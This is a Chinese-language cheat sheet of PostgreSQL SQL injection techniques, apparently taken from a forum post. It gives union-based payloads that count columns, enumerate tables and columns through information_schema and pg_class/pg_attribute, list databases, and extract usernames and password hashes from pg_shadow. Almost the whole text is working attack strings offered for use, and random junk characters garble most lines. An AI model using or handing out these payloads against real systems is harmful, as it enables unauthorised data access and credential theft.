结合了MSSQL MySQL Oracle的一些特点* i* U9 e1 T( R: l% P5 l& {) C% E
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/$ r. j9 K& E7 ?7 V; j* f
连接符: %20 , + , /**/ 内置函数:2 V8 |& I5 b+ ~
current_database() //当前数据库名
1 F8 ~- V2 q1 n7 m. I( Ksession_user //会话用户
& ] f+ \5 g9 Hcurrent_user //当前数据库用户2 x/ E2 C$ X# @" R3 J A/ r9 {5 C$ m
user //当前用户
8 Y9 ]4 f3 N1 O( rversion() //数据库版本 Union注射:3 f) q8 L# O% l& P+ R
order by n–
6 K# A+ T. u z# e- ?/ ?and 1=2 union select null,null,null–( Q- R1 h' T- t& a& F( K- R
and 1=2 union select ‘beach’,null,null–4 L2 {( D: W% t9 A/ }3 [
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
( `- a4 K0 J7 ^/ x1 Z& j5 Rgroup_concat(table_name)
8 O9 r7 V" w7 I# Rand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
; T7 E7 K: Y! E8 O, S/ Kand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
, r% K6 S% q- T& m" W(老版本)) t3 A$ ^! s* L# B; P* k% Q
pg_class.oid对应pg_attribute.attrelid+ T+ n# h# c8 `' s9 e) S
pg_class.relname表名
! Z9 B: }5 t% X6 t0 Vpg_attribute.attname字段名 select relname from pg_class获取表名
6 U% y# r' X# ?$ k1 s0 fselect oid from pg_class where 条件 获取参数. M3 D0 A) g* I( [/ K i" Y( S. ^
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:6 C; g. P& t8 a$ T8 f
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
4 w) ?: T0 B8 Z8 ]+ [: Zand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
" l8 \: B1 U5 k/ z8 M由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
4 f' a+ K$ B1 T, U* E======================================================================
I9 J& ^8 m2 g6 a J, s0 ^/ m+ gand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
: {( D: O0 `/ @# e5 Vand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |